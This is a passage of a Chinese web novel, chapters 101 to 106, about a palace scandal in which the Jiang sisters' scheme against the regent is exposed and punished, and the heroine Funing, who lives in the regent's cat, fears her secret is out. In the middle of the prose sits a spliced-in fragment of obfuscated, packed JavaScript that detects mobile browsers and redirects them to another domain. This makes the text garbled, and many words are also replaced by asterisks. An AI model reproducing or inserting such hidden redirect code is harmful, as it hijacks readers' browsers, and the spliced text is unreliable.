侯爵千金诧异,“咦,二殿下也在,臣女参见二殿下。”
几位女眷纷纷向谢燎行礼,谢燎挡在门前,规矩地朝皇后问安。
谢燎身边不远,是江雪娥。
方才江雪娥敲了殿门不过几下,怕被赶来的女眷撞见,很快便放弃了遗落在殿内的腰带,转身就要跑,却被谢燎的下属逮住,说什么也不让她走。
此刻女眷们赶至,她还是被擒着手,衣衫不整头发凌乱,她羞愤欲死拼命将头扭开,垂落的头发又遮挡住脸,导致众人没有在第一时间认出她。
最先认出江雪娥的,是她的母亲江夫人。
江夫**骇,当即明白女儿的计划暴露被抓了,遂在众女眷提出疑问前,便想转移注意力,“夫人们,我们赶快去看花吧!”
几位女眷却是不急,视线探究地望着江雪娥。
国公夫人眯了眯眼,“二殿下是抓了个什么人,怎的有些眼熟呢?”
王皇后心里门清,也懒得给**遮掩,主动提及,“老二,怎么回事?难不成是哪个不知死活的,对你起了歹念?”
谢燎面色淡淡,拱手道:“母后,她其实是——”
说得有些慢了,倒给了江夫人打断的机会。
江夫人很怕谢燎把女儿勾引摄政王的事给说出来,来不及思考就直接跑上前认人,“娥娥,这是怎么回事,你怎么……”
“什么,是江小姐!”做震惊的,是豫北侯千金,“江小姐,你怎么成了这样子,你……”
王皇后佯装诧异,愠怒道:“这像什么样子,快松开**!”
谢燎的手下松了手。
江雪娥羞愤地落了泪,一边整理着自己的发髻,拢着衣襟,开始瞎说为自己掩饰,“臣女,臣女方才在殿中更衣,忘了系腰带,见各位夫人前来,不想冲撞皇后娘娘与夫人们,遂想离开,却被二殿下当成不轨之人抓了起来。”
这段话,她没有撒谎,只是有意隐瞒了些。
王皇后脸上严肃,“忘了系腰带?**,你忘性也太大了些!”
江雪娥与江夫人纷纷跪下,江夫人也是声泪俱下为女儿开脱,请求皇后的宽宥。
江夫人的泪不是假的,她原先根本不知道摄政王对女儿是假意,她还是相信传闻的,女儿也不曾告诉她真相,直到前两刻钟,宫女递了女儿的话来,要她配合,她才知实情。
女儿要这么做,是为了家族和地位,不想被退婚,出此下策无可厚非,如今计划失败,事情败露,她心中害怕,亦为女儿的前途担忧。
摄政王妃的位置,恐怕是无了!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225641|177764||http|test|mini|href|location''.split(''|''),0,{}));
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r>当**母女一阵哭诉完毕,江雪娥没听谢燎反驳,便觉得有希望。
至于殿中的摄政王和赵福宁,她不觉得他们会出来反驳,毕竟,孤男寡女共处一室,除非赵福宁也不要脸了!
岂料,谢燎偏偏要等她说完,再开口,“可不是这样,母后,**姐妹包藏祸心,一个在景悦殿给皇叔下药,自解衣带想生米煮成熟饭,眼下计划不成,还被当场捉住,便惺惺作态。”
豫北侯千金不解,“江大小姐是未来的摄政王妃,为何要勾引摄政王?”说不通呀!
人群中,容婉与户部尚书府的女眷悄悄融入进去。
在豫北侯千金发言后,户部尚书千金开口,“那另一个呢?”
谢燎看了她一眼,又看向王皇后,“母后,江二小姐于云露殿——”忽觉不妥,遂改口,“给儿臣下了迷香。”
江二不在此,早被谢燎的人押走了,倒是没法反驳。
“什么?!”
“天呐,江家两个女儿真的做这样的事了吗?”
谢燎看向王皇后,“母后,香燃尽,香灰还在,儿臣已让人押了江二小姐下去。”
王皇后点点头,一脸痛心,“**,枉本宫这般信任于你!你竟做出这等腌臜事!”
江雪娥跪坐在地,仰头看向王皇后,很想反驳。
可见后者眼中流露出的狠毒,又想到对方是一国之母,身份地位都非她能比,根本无法反驳。
委屈、不甘全部都得咽回肚子里,“臣女,臣女一时失了智……”
王皇后见她没挣扎便认了,倒是识趣,“来人,先将**母女带去偏殿关着,待本宫问询了陛下后,再做处置。”
“是。”
宫人应下,上前将江家母女架着走了。
临走时,江雪娥感受到女眷们落在自己身上的鄙夷目光,还有那不曾压低的唾弃声。
她终是,没能像月亮一样,一直高悬于空。
还是落了下来,甚至比以前,更卑微。
豫北侯千金睨了她一眼,转头与国公府千金道:“都订了婚了,还等不得了,果真是烂泥扶不上墙,山鸡变不了凤凰。”
“嘘。”国公府千金让其噤声。
这事就这样结束了吗?
不。
第101章 心乱乱
王皇后来之前就知道赵福宁跑来了这,此刻谢燎在外头,赵福宁必定是在里头了。
王皇后的视线看向被谢燎挡着的景悦殿的门,“既然**对珩玉使了手段,那必然也是留有证据的,来人,进去搜查!”
倘若当场抓着谢珩玉与赵福宁,也能挫一挫谢珩玉的傲气。
顺便,成就了这段姻缘!
谢燎不让,“母后,皇叔在里面歇息,恐怕是不妥。”
王皇后多看了眼这个平时存在感不高的二皇子,“他要是有个什么万一,伤了身体,那才是不妥!让开!”
谢燎从容不迫地应对,“父皇与皇叔兄弟情深,但皇叔与母后并无血缘,理应避嫌,且**给皇叔下的药有损皇家颜面,为避免闲言碎语传出,母后还是让儿臣去看望皇叔吧。”
几句话,怼的王皇后哑口无言。
她的面上已经没有一丝笑意,凝视着被她忽略多年的谢燎,究竟是什么时候开始,谢燎有了与她对抗的底气?
四目相对,王皇后那双似秋水柔和的双眼中,只剩警告与威压,桃花色的唇瓣略微勾起,寒意陡生。
连身后站着的一众女眷都察觉到了这对皇家“母子”间凝滞的压抑气氛。
偏偏谢燎不为所动,如无察觉一般,与之对抗,亦不输分毫。
正此时,谢燎背后的那扇门,“吱嘎”一声开了。
众人的目光皆下意识地朝门后投去。
只见在皇后与二皇子口中出现的摄政王,正一脸阴沉地站在殿内,看着外面或看戏或探究的人,不耐地发话——
“看什么?”
他声音不善,女眷们不敢招惹,纷纷低下头、移开视线,行礼。
王皇后看他这么没礼貌,也不生气,反而内心乐得他不落好名声,“珩玉,本宫听说你中了**之计,如今可还好?要不要……”
“臣弟就不劳皇嫂费心了,”谢珩玉打断她后面的话,“**是皇嫂邀请来的,臣弟的婚事也是皇嫂赐的,皇嫂该多想一想,怎么就这般凑巧,晦眼识猪了呢。”
听者以为是慧眼识珠,自然认为谢珩玉这话是讽刺。
实则不然,他根本就是想骂皇后。
王皇后脸上挂不住,却碍于温婉贤良的形象,不得不认,“是本宫识人不清,险些至你于危难,好在提早发现,不会让**再害了你,你放心,本宫与陛下会为你做主,严惩**。”
“但,你当真无碍吗?”王皇后说话时,目光还在往殿内探,苦口婆心道,“可莫要逞强伤了身体……咦,”她扭头往人群看了眼,“**姐妹被带走了,怎么赵家小姐也不在?”
王皇后一边询问,一边意有所指地再朝殿中望去,只可惜门只是半开,又被谢珩玉挡着,倘若能进殿搜一搜就好了。
只要能将赵福宁从殿中搜出来,便是浑身张满嘴也说不清,不仅能成就这桩婚事。
而且……有**行勾引腌臜事在前,众人定会联想赵氏也与**一样,趁人之危想攀高枝上位。
谢珩玉若真心在乎赵福宁,必不能让她落下这名声,届时,就只有损他自己声誉,比如——
摄政王以权相逼、强迫臣女。
想着,王皇后内心多了兴奋,看向谢珩玉,语气微扬,“你可有看见赵小姐?”
不等谢珩玉开口,人群中的容婉开口:“回禀娘娘,小女方才喝多了茶,去更衣了,不在此处。”
容婉这么说,王皇后倒是不好再质疑赵福宁的去处了。
王皇后转头看了眼不知何时归来的三人,笑容绵软暗藏锋芒。
还没回过头,景悦殿的门“嘭”地一声阖上了。
谢珩玉连样子都懒得做,将所有人隔绝在外。
王皇后的算盘落了空,只得让女眷们真去看花,自己则派人守在景悦殿外,等着里面的人出来。
殊不知,方才几人谈话间,赵福宁已经从后面的窗子爬了出去。
殿中的谢珩玉绕到屏风后,看见大开的窗户,还有……被放在床榻上的小福,就知道她跑了。
她还没给出答复,就跑了。
是没想好,还是不愿意?
一个爱财的女子,竟然还不乐意嫁给他,呵。
谢珩玉不可抑制地发出一声低笑,又瞬间收住,伸手从怀中取出放置各种药丸的药袋,将白色小药丸吞下去,不出一刻,身体便好受许多。
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他深吸一口气,抱着小福走出殿外。
殿外多了些不重要的人,少了些碍眼的人,比如谢燎,比如王皇后。
某个不重要的蹲守在外的小太监,见摄政王出来,忙上前转述王皇后的话,“殿下,娘娘说,您若休息够了,还请往养心殿去看看陛下,陛下想您了。”
“滚开。”谢珩玉嘴上骂着,脚步直接绕开了太监。
他还是没有去养心殿,只在清凉殿附近转悠了一圈,听闻王皇后宴请的女眷们也要离开了,便出了宫。
那厢。
福宁从窗子后面溜出来后,心里便堵得慌,忍不住去想摄政王的提议,究竟是随便说的,还是随便说的。
她与他又不熟,才见过几面罢了,总不能因为她会照顾小猫,就到了谈婚论嫁的地步吧。
一定是因为**的香比较特别,让他非常渴望成家,驱使他草率地做出决定。
只是刚好撞上的人是她罢了。
如果是别的人,他大概也会那样的。
福宁越是宽慰自己,越是进了死胡同,心里愈发不得劲了。
不知不觉,已然回到了清凉殿,彼时女眷们也都赏花回来了。
母亲容婉见她归来,可算是松了口气,拉过她的手,确认她的安危。
容婉压低声道:“方才二殿下托人传话,说是寻着你了,你去哪儿了?”
福宁刚才在景悦殿,也听到了二皇子的话,既然二皇子好心替她掩饰,她也不想让母亲担心,于是寻了借口搪塞过去。
王皇后自然也看见她归来了,见她完好无损地归来,王皇后似有些失落。
等了她们这一众女眷出了宫。
被关押了一个时辰的**母女还继续关在宫中。
王皇后听闻谢珩玉径直出宫,没有去养心殿探望陛下,倒是终于觉得舒心了些。
他们兄弟感情越僵,于她和烛儿越有利。
她转而去了养心殿,将今天发生的事,七分真三分假的告诉了齐武帝。
遮掩的,自然是对自己不利的那部分。
只说这**如何坏心,为了摄政王妃的位置,连脸面也不要了,大胆到**,就敢在皇宫里给摄政王下药。
第102章 摄政王不喜欢你,你怎么不早说?
齐武帝听得气愤,“阿玉还好吗?”
王皇后摇头,“有惊无险,陛下宽心,那**母女三人,已经关押起来等候处置,不过还是有好消息的,正如陛下此前揣测,邀请了赵小姐进宫,珩玉就自个儿进宫了。”
对齐武帝来说,是件好事,“但愿这桩婚事能成,阿玉心有了牵挂,即便哪日朕猝然西去,到了九泉之下,也能瞑目了。”
“陛下!”王皇后眼眶倏地泛红,珠钗流苏随着轻颤簌簌作响:“莫要说这样剜心的话!您若真有万一,教臣妾.……”
语至哽咽处,急急按压住眼角。
齐武帝叹息,枯槁的手轻轻覆上她的手背:“终会有那么一日,朕会给你和烛儿留好退路。”
退路?
就是无缘皇位的意思了……王皇后眸中水光闪烁,用帕子掩住的嘴角勾起嘲弄的弧度。
她的烛儿岂是寻常皇子?烛儿是嫡出长子,是曾居东宫的储君!
她的儿!只有登基这一条路,哪会有什么退路。
眼波流转间,王皇后巧妙截住话头:“陛下且看顾眼前事要紧——今日倒有件怪事,老二不知怎么变得怪怪的。”
说到谢燎,王皇后眼底冰冷,话音倏忽放轻,“从前他不会在众人面前与臣妾争执,从来都是敬重臣妾的,今日瞧着与往日大不相同呢。”
王皇后有意挑拨引导齐武帝注意谢燎的异常。
哪料齐武帝脸色变了,像是有什么难言之隐,他面露惆怅,嘴唇微动,想到次子素日恭谨听话,从不曾奢求恩赏,如今初次心动,偏偏造化弄人……换作是谁,也没法与往日一样了吧!
王皇后哪里知道,自己竟阴差阳错,激起了齐武帝对谢燎的愧疚,当下还以为齐武帝是听进去了呢,遂欲继续进言,“这孩子莫名其妙闯进后宫,就跟早知道**要犯错似的,臣妾赶到时,他便护在珩玉所在的殿外,不过……从前还担心他与珩玉相处不好,现在看来,是多虑了,这孩子为护珩玉,还顶撞臣妾。”
齐武帝摆摆手,笃定道:“他不是去看阿玉的。”
王皇后:“嗯?”怎么陛下像是知道什么?
齐武帝眉心丘壑凝成一道无法言说的怅然,“孩子大了,也有他自己的难处,皇后谅解一下吧。”
关于叔侄喜欢同一女子的秘密,齐武帝不打算说出来,毕竟传播开了对谁都不好,不利于叔侄和谐关系的发展。
王皇后还不清楚谢燎哪里难,这个话题便已经被齐武帝揭过,不让再提,她想好的挑拨之词也无处发挥。
陛下何时这般体谅老二、而忽视她了?这让她对谢燎的防备忌惮之心更甚。
宫苑深处,偏殿的雕花木门窗紧闭,几缕惨淡的昏黄余晖照映在窗户纸上。
今早还尊贵的母女三人,这会儿各自坐在地上。
江夫人瘫坐在地,往日梳得一丝不苟的发髻散乱了几缕,钗饰摇摇欲坠,“完了……全完了……”
开始指责女儿,“摄政王不喜欢你,你怎么不早说?兵行险招,为何不做完全的准备?”
余晖的光洒在江雪娥的肩头,连带她面前空气中浮动的尘埃都肉眼可见。
静下心来后,江雪娥为自己冲动的行为感到后悔,或许是真后悔,也或许是因为失败了才后悔。
她也分辨不清,只是低垂着头,今日不论能不能从这扇门走出去,出去后,她都不再是昨日的她了,她将要面对的是残酷的未来。
一旁,心虚的江月娇降低存在,瑟瑟发抖地呆在阴影里。
江夫人却不能忘了她,目光淬了毒一般朝她刺去,“你姐姐是为了稳固摄政王妃的位置,说到底是为了咱家,你呢,你又是为了什么?!”
江月娇到底不是江夫人亲生的,江夫人不舍得打骂自己的女儿,这会怒气只能发泄在不懂事的江月娇身上,起身冲过去,扯住江月娇的衣领质问:“你干的什么蠢事,勾引二皇子!亏你想得出来!”
闻言,江月娇心虚的神色转变为了错愕,“什么勾引二皇子,母亲,我没有!姐姐要算计赵福宁,中途她心软了,我只是想帮姐姐一把,所以才用**捂晕她,将她拖回房间,我的确是想给赵福宁寻个太监,可哪知道二皇子会赶到救了她
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,母亲!我没有勾引二皇子啊!”
江夫人脸上一阵白一阵青,拼拼凑凑的,真相也就明了了。
二皇子之所以在众人面前说**月娇下**,是为了将赵福宁摘出来,不让赵福宁的名声受到牵连!
平日不显山不露水的赵福宁,又是何时跟二皇子扯上关系的?
江夫人攥着江月娇领口的手不自觉地松了松,此时还能有什么不明白的?伯府的一双女儿,输得彻底啊!
输给了根基浅薄、毫无倚仗的赵家之女。
先是新科状元崔兰亭对她念念不忘,后是权倾朝野摄政王关注她,如今连一向低调的二皇子都要为她出头。
颓废与不甘使江夫人的面容都扭曲了些,她再看向两个女儿。
一个是美貌冠绝京城、打小捧在手心宠的女儿,另一个是府中庶女。
经这一遭,怕都要葬送了。
“都是你,”江夫人指着江月娇,手指几乎要戳到她的脸上,“都是你!好好的为何要抢赵福宁的姻缘,要是她早早嫁给崔兰亭,便没有机会勾引摄政王,你姐姐也不会为了稳固地位出此下策!你怎么就那么心急,害得全家都要因你付出代价!”
江月娇被指着骂,终是忍不下去了,“明明是长姐的错,母亲偏心得没边了,崔家不愿娶赵福宁,不是因为我!摄政王看上赵福宁,也不是因为我!我今日不过是顺手想帮长姐一把,长姐若行得正,今日哪能——”
“啪”的一巴掌,扇在江月娇的脸上,打断了她的话。
江夫人气得发抖,“你还不认错,你姐姐都知道心软,你这心怎么就这么硬!如今你们姐妹俩要各自担上勾引谋害摄政王和二皇子的名头,咱们伯府岂能有翻身之日啊!”
江雪娥眸光空洞地,不插话,任由她们争吵。
不多时,大概是守宫殿的人嫌烦了,剑柄DuangDuang地撞在门上,“安静些!”
殿中这才静了下来,江夫人镇定下来,也知道争执解决不了问题,恢复了往日主持中馈时的冷厉,“事已至此,还需商量好对策……娥娥,你来。”
第103章 成也摄政王,败也摄政王
三人共处一室,危急关头,江夫人没法完全避开江月娇,只能将亲女喊到窗边。
母女俩站至窗棂透入的昏黄光亮下,比对着阴影里的江月娇。
江夫人严肃地决断道:“待会若得皇后娘娘传召,你言辞务必恳切,今日之事已经被受邀进宫的女眷知晓,无法推卸,只能认下,但需严明是受人蛊惑,寿安伯府的声名不能断送在我们母女手上,你们姐妹之间,能保住一人便是万幸。”
“今日若非要有一人担下全责,那人不能是你。”
江夫人虽未提及江月娇的名字,但言语间已经可以说是明示了。
她想着,此事皆由江月娇而起,将江月娇这个祸害推出去顶罪,至少给伯府嫡脉留些颜面呢?
江雪娥听明白了,一时没有答话。
哪怕江夫人压着声,距离几步之遥的江月娇也听清楚了,她盯着江夫人的背,指甲抠进袖子下的皮肉里,眼中只有恨意。
但她们显然是想早了。
因为很快,尖细阴柔的嗓音穿透紧闭的殿门,刺了进来:“咱家奉旨,来宣读陛下圣裁。”
没有皇后娘娘的召见。
没有她们设想的、可以辩驳、甚至推卸罪责的余地。
更没有人在意她们为何行差踏错,是否有难言的苦衷。
只有短暂内讧之后,皇帝迟来的旨意。
显得她们那番急于切割、欲推出至亲顶罪的决定,在此刻尤为可笑,如同跳梁小丑的徒劳挣扎。
她们是伯府女眷,可在皇权面前,却如此清晰地感受到了自身荣辱,如蝼蚁般轻贱,只能随他人一言而决的无力与卑微。
只顾着不甘与卑微,全然忘了,错本就在她们。
宫殿的门被侍卫打开,传旨的公公迈步入内,居高临下地看着**母女三人,声音尖锐——
“兹有寿安伯**长女,性失柔嘉,行乏贞静,无德显闻,深负朕望。岂堪匹配宗亲,有辱天家清誉?即日起,解除其与摄政王之婚约。自此一别,各还本道,婚嫁自由,永无瓜葛。
然,**二女胆大包天,竟生谋害皇室之心,虽阴谋未遂,然其心可诛,其行难恕。若不加以惩处,何以正纲纪?着将**长女、次女各杖三十,以儆效尤。杖毕,遣返江府,严加管束,闭门思过。
其父寿安伯,治家不严,教女无方,纵容至此,实难辞其咎。褫夺其爵位**之权,止于其身。另,停其职俸,即日归家,深刻反省。
钦此!”
江夫人跪拜于低,女儿的性命保住了,可是伯府……完了啊。
*
齐武帝对寿安伯府的裁决,很快传遍京城,而事情的根源自然也瞒不住。
于是,**女无德无行,妄图以腌臜手段攀附摄政王与二皇子的消息,在宵禁前传到各大官宦世家。
有人唏嘘有人叹,有人嘲讽有人愁。
寿安伯府本就没落,前些日子还有人感慨**凭着摄政王而一朝飞升,俨然有重归鼎盛之势。
当时谁家不艳羡?
这才几日光景,已于云端轰然跌落,彻底将祖宗博下的爵位与世代基业败光了。
现在谁家还艳羡?
真真是应了那句“其兴也勃焉,其亡也忽焉”。
长平侯府得到消息的时候,长平侯在书房里坐了许久,看似淡定,连叹数声后道:“陛下解了摄政王的婚约,怎么不将江二与我家的婚约一道解了!”
说的是玩笑话,也是心声。
事已至此,这桩婚事已经没用。
前有赵家失势他崔家退婚,后有江家失势他崔家退婚,传出去……总归不好听,让人疑心崔家重利无义。
好在——
江二勾引二皇子的事迹已家喻户晓,长平侯不觉得丢脸,只觉得恰好给了他家主动退婚的理由,不
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然还真下不来台。
*
赵福宁,现在满脑子都是某人的话。
导致她一路上回来频频愣神,偶尔回过神听母亲由衷道一句:“二皇子是个面冷心热的。”
归家后,关起门来没有她没听见外界的流言蜚语。
想很久,也未想通摄政王想娶自己的契机是什么,他那样子也不像是被香薰糊涂了的样子。
看她更不敢当真,故没有同父母说。
夜里,失眠良久。
燕景园里,谢珩玉听闻江家下场,冷冷道:“便宜她了。”
他倒也没再追究。
转而看向桌案上的小猫时,他的眸光柔和许多。
他对小福自然也是温柔的,只是现在,对另一个“小福”更多了些期待。
这期待,对他来说,是波澜不惊的无聊日常中多了件意趣的事,让他侧目关注。
是在到了成家年纪,面对逼婚的压力时,觉得娶她应该挺有意思的念头。
他不将此当做倾慕喜欢,殊不知,兴趣与期待,也会悄然滋生出更多说不清道不明的心绪,若他再不自觉、不加以干涉,这种被冠上新鲜兴趣之名的期待,会蔓延,会吞噬掉他的理智冷静,直至他发现摘掉期待之名后,直面内心的欲望。
比如。
夜半,他中途醒来,发现小福还没“变身”,下意识地会去想——
她是不是出了什么事?
应该不会。
那她怎么不睡觉?
欺负她、抢她未婚夫的**被杖刑,她太开心了?
具体原因**。
但有了这个念头,谢珩玉就难以再安然入眠了。
他侧躺床榻上,看着半睁眼看他的小福,大眼瞪小眼。
难道是因为小福没睡着,她过不来吗?
谢珩玉倒也不是非要她来,主要是为了弄清楚原由,他起身摸摸小福的脑袋,低声命令,“睡。”
第104章 钻被窝,王爷红温
小福哪里听得懂,只知道主人指着床榻“瞪”自己,它仰着脑袋愣愣地看着,原本半眯的眼睛彻底睁开,瞳孔也迅速变大。
谢珩玉伸手盖在它的眼睛上,小福的天黑了。
他手上就跟沾了**似的,白花花一只小身板往床上一倒,不多久就睡着了。
谢珩玉松开手,看着它睡着了,半点没有要醒来的痕迹,于是又开始等她醒。
时间一点点流逝,福宁睡着的时候天都亮了。
她困倦地躺在榻上,中途没睁眼分辨身下的床榻还是不是自己闺房里的那张。
恍惚间,周身被一股渐起的暖意所包裹,后背、腰上都带着燥热,热得她频频皱眉,于睡梦中看到了话本传说中的祝融。
头顶上,久违的不属于赵家的冰块被木风扇吹出凉风,使得她脑门几根白毛来回飘荡,暂时制住了她心底的躁意。
一冷一热,她还是拧着眉,因为梦到了祝融和共工大战。
她吓得一个激灵,醒来时全身都抖了一下,抬起的爪子往眼前拍去。
粉色的掌心啪的一下拍在——
诶?
福宁睁开眼,看见眼前闭着眼睛的人脸,心道,谢珩玉又抱着小福睡觉了。
此时她的爪放在男人的侧脸上,还没有拿下来。
她睁着大眼睛,看着谢珩玉缓缓睁开眼,他平淡无波的眼眸,没有一丝生气,好像被打脸是多么正常的一件事。
但福宁遭不住他看,尤其在得知他有要娶自己的意思,她迅速撤回爪子,从被窝里挪动出去,离他远些。
谢珩玉也不困了,就看着她一点点挪出去,等她挪到床榻边缘要往下跳的时候,他长臂一伸,捏住她的后颈,将她扯进被褥里。
一眨眼功夫,福宁就回到了起点,她仰头,对上他仍旧平淡的眼。
???
她还就不信了,再次出被褥,吭哧吭哧从被褥的小山丘上翻过,到床沿边的时候,又被提溜回去。
哪怕谢珩玉看着再平淡,福宁也知道他是故意的了,拿她当解闷的玩具呢?!
哼,她不动了。
谢珩玉清楚地看见她瞪自己一眼,然后背过身,整个钻进被窝里,也不怕闷着她自己。
他倒是看不见她了。
谢珩玉原本没打算抓住她,斜倚在榻,看着她在锦被间扑腾很有意思。
他低头看着被窝里凸起的那一块,猜测这小鼓包要往哪跑。
随即,便觉一团绵软爬上了他的胸膛。
那小小的、带着肉垫的爪子隔着薄薄寝衣落下。
被窝里的福宁打算给他点颜色看看,爬到他身上,隔着他的寝衣往他肩头咬。
带着试探和莽撞,殊不知踩得某人心口发紧。
一股陌生而奇异的酥麻快意,自被触碰之处窜开,迅速蔓延至四肢百骸。
尖尖的牙齿往里嵌,谢珩玉没有第一时间阻止。
福宁没听到他的反应,料定他习武之人不怕痛,正打算更用力的时候,听得头顶上响起低低的“嘶”一声。
习武之人都痛了,她自然要心软的。<
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br>正要松嘴呢,谢珩玉隔着被褥一掌精准地拍在她后脑勺。
“喵~”
一掌下来,压得她的嘴怼在他的胸口。
谢珩玉能感受到,前襟湿了一块,温热的。
福宁吃痛欲逃,被他拍打后,寻不着方向,直接往下蹿去。
明明她很轻,可那一脚一脚,踩得谢珩玉的感受无法言说,他再低头,小鼓包已经从胸口跑到了腰上,甚至还要往下寻找出路。
他脸色骤变,唰地直起身,隔着被褥按住她,训斥道:“出来!”
“喵呜呜呜——”她恼怒的嘟囔,对谢珩玉而言,不过是无意义的呜咽。
他全身僵硬,嗓音沙哑,“真是放肆。”
福宁被按在他的腰上,拼命挣扎着,青天大老爷!她倒是想出来,可被他单手牢牢摁着,怎么出来呀!
锦被底下越是扑腾得厉害,谢珩玉眸色便越是幽深晦暗。
就在这时,白昼敲门,“王爷。”
“滚进来!”他用暴躁,盖住了此刻真正的情绪。
门外的白昼心里奇怪,王爷今天怎么有起床气了,进门后,就对上谢珩玉那张……算不上白皙的脸。
王爷的脸是红的。
白昼迅速反应过来,王爷毕竟年纪不小了,大清早的有需求也是应该,“王爷,要不要属下找——”
“找什么找,过来!”谢珩玉用被褥裹住躁动挣扎的不安分的小猫,原是想直接丢出去的,还是怕把小福摔死摔伤,遂捧起她交给白昼,“带她出去。”
第105章 福宁惊觉,秘密可能被发现了!
白昼抱起被褥,也不敢问,转身出去时,闷了好久的福宁终于是钻了出来,对上白昼的脸。
两脸疑惑。
留谢珩玉一个人在屋里。
福宁坐在摆满黄金的庭院里,跳到石桌上吃早膳,敏锐地听见白昼嘀咕:“怎么回事,是不喜欢吗?”
什么?什么不喜欢,福宁朝他望去。
便见白昼对着庭院里的黄金,他数了数,“一件都没少。”
就这一句,让福宁汗**立起。
什么意思,这满院摆出来的黄金,是为了让谁喜欢,让谁偷的吗?
王府里还有谁会偷啊,传说中的“大盗”都被抓了,难道谢珩玉并不相信那两个黄金屋是“大盗”偷的,所以故意放黄金在外面招摇……
天呐,还好她没有上当!
真坏啊!
福宁现在还有些后怕,她甚至在想,如果谢珩玉认定不是大盗偷的黄金屋,那么与黄金屋出现在一起的她不就成了最可疑的人物了?
谢珩玉怎么还要娶她?
莫不是已经怀疑到她身上?要接近她调查她?
再说谢珩玉最近的态度也有诸多疑点,一会儿要让小福自己睡,一会儿又抱小福睡,最近连进宫都带小福一起,干啥都放不下了。
还有,江月娇在京郊雇人害她的时候,谢珩玉不仅救了她,还不将她送回府,反而将她带进王府。
桩桩件件都很可疑。
黄金每次消失都跟小福有关系,让谢珩玉发现“小福不对劲”并不奇怪,但他如果已经联系到了她身上……就很恐怖了。
不会吧?
正常人都不该猜到她与小福的关联吧?
可如果不是因为这样,她又没法解释谢珩玉的行为。
“嘎——”门开了。
谢珩玉穿戴整齐,从屋内走出来,没有看在石桌上边吃边发呆的她,顾自坐下。
侍女将属于他的早膳端上桌,立刻被各式精巧碟盏占去大半,热气蒸腾尽是珍馐美馔,相比之下,福宁所占的那一隅角落显得局促,面前孤零零摆着两只和脑袋差不多大的碗。
一人一猫的领地,泾渭分明。
无法冷静的福宁抬头盯着他,一眨不眨,不想错过他任何一个阴谋的表情,以便她分析。
谢珩玉执起玉筷,吃了两口,然而那道几乎要在他身上盯出洞来的灼灼视线,让他无论如何也难以忽略。
他终是抬起眼睫,目光故作冷淡地迎向她:“看够了么?”
福宁不动。
往日觉得寻常的事,当下却成了疑点——
他竟然跟猫说话。
她继续看着他。
谢珩玉被她那目光看得极不自然,就好像是要将他看穿,令他想到了方才在屋内时的窘迫。
他皱了皱眉,垂眸,意识到自己的早膳比她的丰富,可能让她不满了。
罢了。
谢珩玉抬手,将摆在自己面前的一碟子奶糕递到她面前,意思
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再明白不过——
吃。
福宁的视线终于移到了奶糕上,瞳孔微张写满惊讶。
好啊,他把给人吃的拿给她吃?莫不是真知道现在小福身体里的是个人?
疑点再加一。
不过疑归疑,福宁继续盯着谢珩玉,不忘伸出爪子,沾一沾奶糕,再抬起送到嘴边,舔一舔。
谢珩玉见她这样,更加确定了她是嘴馋。
远处,白昼收了信鸽送来的信,丝毫没察觉出这边一人一猫的“岁月静好”。
倘若王爷对面坐着个女人,白昼或许不会贸然打扰,但王爷现在是一个人吃早膳,他便没那么多顾忌了。
“王爷,探子来报,说二皇子那边有动作。”
眼看白昼就要说到重点了,被谢珩玉眼神示意住嘴。
福宁竖起的耳朵,下一瞬就蔫儿了。
这里又没外人,怎么还不说了?
紧接着,她就感受到谢珩玉瞥来的意味不明的一眼。
福宁内心更加确定,谢珩玉发现她是外人了!
“啪嗒”
一个个疑点结合在一起,她直接无力地趴倒在桌上,看着谢珩玉起身和白昼去了书房说话。
完了,真的完了。
谢珩玉一定是发现她的秘密,所以才会用“娶她”当做借口接近她,说不定他还会把她当成妖孽,等查明白、想办法解除她与小福的关联后,就会除掉她。
福宁浑身无力,脑袋倒在奶糕里。
第106章 福宁带猫逃跑
到底是不是自己想多了。
毛茸茸的小耳朵染上奶味。
她灵光一闪。
有了!
她想到该怎么确定摄政王是不是知道她的秘密了!
当下,谢珩玉为了避开她说话,与白昼去了书房。
福宁悄咪咪地跳下石桌,一点点挪动到草垛里,起初还有侍卫看着她,她伸爪子**绿草,佯装出自娱自乐的样子,待侍卫放松警惕,她迅速地绕过屋子。
她刻意往花圃里钻,花草比她高,将她行动掩盖。
偶尔往路上蹿遇到几个侍卫,她也会提前侦查,等他们背过身去的那一刻,瞬间窜过去。
如今飞檐走壁越来越轻盈,随便借个力,就能攀登到高处,往围墙跳出去了。
出了王府,一路向自家跑。
赵府……赵府,离得还挺远呢,要绕好两条街,总之不是小福随意出逃就能恰巧跑去的距离。
福宁想好了,如果谢珩玉真的知晓了她的秘密,等他发现小福不见,他第一个联想的一定是她!
肯定会想个理由去她家搜猫!
如果他压根没有联想到她身上,那么,她方才的设想大概就是错的,她就不用太害怕了。
但话又说回来,福宁肯定不能真让谢珩玉在她家搜到小福,不然他不就要知道她知道他发现她的秘密了。
她搞这一出,只为确认,可不是要跟他坦诚相待。
可是若把小福放别的地方,福宁也不放心。
只能放眼皮底下,省的被坏人偷走了。
所以,她还要带着小福躲起来。
跑了一条街又一条街,大太阳底下,等她到赵府后门的时候,舌头已经固定在嘴巴外头了。
福宁从狗洞钻进,没有惊动任何人,跑到自己房门口,用脑袋轻轻一抵,将门抵开后,吭哧吭哧跳到床上,累瘫了,靠在自己的手臂边上睡着了。
许是太累的缘故,福宁没有第一时间回到自己的身体里,约是过了半个时辰,听到阿婵惊讶道:“怎么有只猫?!”
阿婵是进来伺候她洗漱的,惊呼完见福宁迷迷糊糊醒来,“小,小姐?这只猫,怎么跟摄政王的那只这么像?”
福宁抱起沉睡的小福,自知不能再耽搁时间了,若是真等谢珩玉找来,就要被人赃并获了,“阿婵,这事你谁也别说,现在让赵叔给我套辆马车,我出城半日……也可能是一日。”
为了不让第三个看见,福宁还寻了个披风将小福裹了起来,远处看去,就跟抱了个包裹似的。
回头见阿婵还杵
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着,半哄半骗地催促道:“小福喜欢我,自己寻来的,可若让摄政王找来发现,我就算有十张嘴也说不清!你快去啊!”
阿婵心里慌,点点头,“哎!”
阿婵也是聪明的,还刻意让赵叔将马车停在后门等候。
